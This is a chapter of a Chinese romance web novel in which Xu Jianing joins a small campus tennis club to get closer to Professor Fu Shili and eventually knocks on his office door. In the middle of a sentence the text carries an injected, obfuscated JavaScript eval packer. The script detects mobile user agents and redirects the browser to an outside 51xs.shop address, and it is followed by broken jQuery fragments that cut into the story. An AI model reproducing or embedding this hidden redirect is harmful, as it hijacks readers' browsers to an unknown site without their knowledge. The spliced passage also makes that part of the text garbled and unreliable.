7. 傅教授
    手机上的电话号码,许嘉柠已经看了有一会儿,她不知道唐屿的名字,于是备注从“傅教授不靠谱的朋友”,“301的客人”,“有位客人”来来回回改了几个,总觉得哪里不对劲。

    删改了几次,差点顺手将电话号码删了,幸亏看见红色的删除字多确认了一秒,许嘉柠拍了拍受惊的心脏,毫不犹豫地将备注改为“矫情达人”,当下她想不到比这个词更适合的备注。

    存好联系方式,许嘉柠打开微信,通讯录便有个新的加好友提示。

    也不迟疑,通过了好友请求,礼貌性地发送了微笑表情过去。

    唐屿的初衷是等着对方先添加,只是他的耐心向来有限,急性子,还没等多久,耐心耗尽,干脆主动搜了许嘉柠。

    添加许嘉柠的微信前,他固执地在傅时礼的手机上先添加了自己的微信,才又去加许嘉柠。

    他忘了,先加的人会先沉底,等许嘉柠的微信通过后,带着红色的消息提醒落于他头像之上,唐屿看着极其不顺眼。

    冥冥之中,这好像在暗示着什么。

    许嘉柠发送的消息很简单,是店里的饮品单页,给傅时礼的那张卡片上只有几样招牌。

    后来店里试着新增了应季的果茶,发现学生还挺喜爱,于是闲暇时间她也会试着多做些创新。

    唐屿为保持他的高冷姿态,并未做回应。

    许嘉柠也未做追问。

    咖啡吧按部就班营业,许嘉柠知道了傅时礼的工作地点,和田爽吃完午饭后会刻意往物科楼后面的足球场散散步,但是即便如此,她还是一次都没碰到过傅时礼。

    跟停车场的状况并无差别。

    上天好像是给他们的缘分关上了门,不留缝隙,许嘉柠望着面前的教学楼叹气。

    田爽最近也不敢太活跃,她的老板和傅教授因为课题的事走得很近,她要尽量降低存在感。

    看着闺蜜望楼兴叹,她只能拍拍闺蜜的肩膀,说一句无力的加油。

    这天,许嘉柠和田爽绕着足球场散步完,路过网球场时,有同学在球场边发传单。

    中午时节,球场旁边的路并不是主干道,但因着它附近有两座宿舍楼,偶有学生经过回宿舍,这位同学便在这里守株待兔。

    网球社因为球拍和球的成本,加之入门不易,需要缴纳一定的社团费用,所以感兴趣的同学并不多,许嘉柠路过时,他手里的传单还剩很多。

    许是被拒绝的多了,男同学面无表情机械地递着传单,许嘉柠出于礼貌顺手接下了其中一页。

    见到有人拿传单,男同学像是找到救星一般,脸上立刻绽放出了灿烂的笑容,“同学,要加入我们网球社团吗?”

    “我不是同学了喔,毕业啦,你问问她。”许嘉柠指了指旁边的田爽。

    她和田爽都不是太喜欢运动,但是田爽比她略微强一些,田爽喜欢看足球。

    “打不了。”田爽一口回绝。

    “毕业了也没关系,若在学校工作的话,也可以加入。”男同学又将目光转向许嘉柠,她看起来比较好说话。

    “倒是确实在学校工作,只是我不太擅长运动呢。”许嘉柠委婉地拒绝着。

    “我们周二周四有活动,不会也没关系,会有新手教学课程,感兴趣的话到时候也可以来看看的。”

    男同学还没有放弃最后一丝希望,尽力宣传着,然后目光再度转向田爽,“同学,你是物科院的吧。”

    “你怎么知道。”田爽极为震惊,平时和许嘉柠走在学校里,从来没人这么精准地问过。

    “一般不是物科院的人不会往这边来散步的。”男生腼腆地挠了挠后脑勺,“我也是物科院的,你知道我们物科院今年新来的教授吧,傅教授,他也是网球爱好者,我们也邀请了他来当我们的教练。”

    许嘉柠原本已经打算和田爽离开了,听到傅时礼,她往前的脚步被固在了原地,一个劲地捏田爽的手臂,暗示她答应。

    田爽转过脸为难地凑近她耳边:“网球学起来可是很辛苦的,你确定?”

    大学体育,田爽修过一年网球课程,所以刚刚她拒绝地毫不留情。

    以她对许嘉柠的了解,过800米体测都难,学网球,被爱情冲昏了头脑的概率更大。

    许嘉柠却无比确定地点着头,一副信心十足的模样,“刚刚这位同学说的对,不擅长没关系,可以试试。”

    男同学扶了扶镜框,脸上的笑容更灿烂了些,“我叫谢扬,我加你们一下,拉你们进我们社团的群。”

    “许嘉柠。”

    “田爽。”

    “噢,刚刚忘了说,我们这个社团因为特殊性,平时需要大家平摊一些耗材费,根据之前的经验,每年大概150左右,你们需要考虑下吗?”

    谢扬在加人之前又强调了一下,原本他们社团开会时商量的是把人吸引进来后再说这事,一开始说会劝退别人,但他还是决定诚实一些。

    见两位女生犹豫,谢扬立刻补充道:“不是现在交,是学期末的时候大家平摊下就可以。”

    许嘉柠看着男生一脸清秀腼腆的模样,决定相信他。

    只是令她们没想到的是,进群后才发现,群里包括刚刚那位男生仅有6名成员,她们进去才勉强让这个社团的人数看着丰满了一些。

    她们在“热闹”的撒花和欢迎氛围中,开始忐忑自己的决定。

    直到周四社团活动日,所有成员都到场了,许嘉柠和田爽才有种真实地处在一个冷门社团的苍凉感。

    学校网球场一共两块场地,一块用来新手教学,另一块是社团老成员打球。

    田爽特殊时期,许嘉柠不得不新手上马,她眼巴巴地看了一圈,也没见到傅时礼,倒是谢扬很认真地开始跟她教学起来。

    “请问傅教授什么时候来?”

    一节课下来,许嘉柠手臂累脱了,瘫坐在一旁的椅子上,连握水瓶的力气都没有,绵密的汗意从额角渗出来,她有气无力地问道。

    “我去找傅教授了,他今天实验走不开,不过他应该在楼上会看到我们。”谢扬接过田爽递来的水灌了一口。

    “你不会是忽悠我加入社团的吧。”许嘉柠脸颊热的白里透粉,一手扇着微弱的风给自己解暑,抬头望了望楼上不知道哪间办公室,打趣了一句。

    就今天的消耗,她不保证下次课程会准时出席,甚至明天能不能正常起床来店里都不好说。

    “不不不,你要相信我。”谢扬顿时着急地摆手,面色紧张了许多,说到认真时差点要举手发誓:“傅教授真的有答应我们。”

    许嘉柠纯粹是被累到了,她现在的表情将信将疑,看得谢扬更加紧张,两只手交握在一起。

    田爽在等待地空闲时间里,跟社团的同学闲聊才知道,谢扬比她低一届,明年毕业。

    网球社团是他当时凭着一腔热爱创办的,一开始还有不少人,来了后发现不过是一项体育项目后,新人同学的热情逐渐消散,人越来越少。

    三年多下来,也只剩他们六人,大部分都是老人。

    学校规定社团最低人数是8人,低于这个人数社团便要解散,但是谢扬不服输,还是想再试试。

    今年,他自己出钱印了宣传单页,亲自去招新,没想到还真招了两人进来。

    看他那为难样,田爽心有不忍出来解围

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747495|145340||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“没事,我们信你,不信今天也不会来了。”

    说完,还象征性地替许嘉柠捏了捏她的手臂,算作安抚。

    谢扬听到这句话,眼神瞬时明亮了些,脸上又挂上了理工科男生腼腆的笑容,说话间又挠了挠后脑勺:“下节课,我一定把傅教授请过来。”

    冲着谢扬的保证,许嘉柠打算再信谢扬一次,如果下次傅时礼不来,这网球场她是绝对不会再上去了。

    然而,第二次课,许嘉柠准时到场时,场上不仅没有傅时礼,连社团成员也人数不齐。

    “许学姐,对不起,今天傅教授真答应要来,只是出发时临时被院长叫去开会了。”

    谢扬上来便开始道歉,看得出来他确实在很努力地经营这个社团,许嘉柠觉得自己若是再为难他也显得过分。

    不过,她正好找到了理由,

    “傅教授不来,我今天要当观众。”

    谢扬手里的球拍都早已经准备好,腾在半空中递不出去。他似乎并不太擅长处理和女生的相处。

    出来解围的人仍旧是田爽,她不情愿运动完一身汗,但看到像谢扬这样干净不善言辞的男生,她总是不忍。

    “我来,不用教学,但你得让让我。”

    谢扬递过球拍,憨厚地点头,往另一半球场走去,打了约摸十几分钟,人绕过球场跑了回来,晃了晃手机上的信息,

    “许学姐,傅教授说请大家喝奶茶,要不麻烦您跑一趟。”

    原本了无生气的许嘉柠登时生龙活虎,兴高采烈接下了这个差事,“傅教授有没有说他喝什么?”

    “没。”谢扬摇头。

    “没事,我帮你去问,他办公室301对吧。”许嘉柠如同脚下生风,话音还未落,人已经走出半个球场。

    空留谢扬一句“我们还没点呢”,这一幕看得田爽直乐,“我们打球吧,点什么待会儿你发她手机上好了。”

    301办公室内,傅时礼刚从院长那里开会结束,门刚合上,又有人敲门。

    出院长办公室时,他看到了一条消息,“傅教授,网球社来了新人,很仰慕您,如果您有空的话欢迎您前来指导。”

    发消息的人是谢扬,他去开会前便来找过他。

    傅时礼没想到开学后客套性的答应被这位同学当真了,也是个锲而不舍的人。为人师表,屡次爽约,他也觉得不妥。

    只是,今晚他确实抽不开身,唐屿打了电话,一会儿到。

    于是,作为致歉,他请同学们喝奶茶。

    “请进。”

    傅时礼站在窗前可以看到网球场上正在运动的社团成员,谢扬的水平不错,他看得专注,默认来人是唐屿,并未回身。

    宽阔的肩膀,看起来就让人很有安全感,尤其他双手环胸站着,若有似无地勾勒出背部线条,更是为他增添了几分魅力。

    许嘉柠手还落在门把手上,冲着这样的画面也不知是不是打扰,刚刚来时的兴奋情绪也收敛了些许。

    傅时礼私自以为唐屿又在搞什么幼稚的把戏,再开口时声色沉了些:“这个点过来是觉得受了大委屈?”

    一句没头没尾的话,许嘉柠也有些意外,虽说他没去球场,自己确实觉得失落,但也谈不上委屈。

    只是他这么问了,或许是谢扬跟他描绘了下球场上的情况,虽然他们算不上熟悉,但是原本也算认识,加上他也是网球社的半个成员,一来二去也不陌生,她思来想去,这也算是一种关心,于是大大方方地回应:

    “大委屈算不上,只是一点点小委屈罢了。”

    傅时礼出乎意料地听到女孩儿的声音,身体明显紧了紧,他缓缓转身。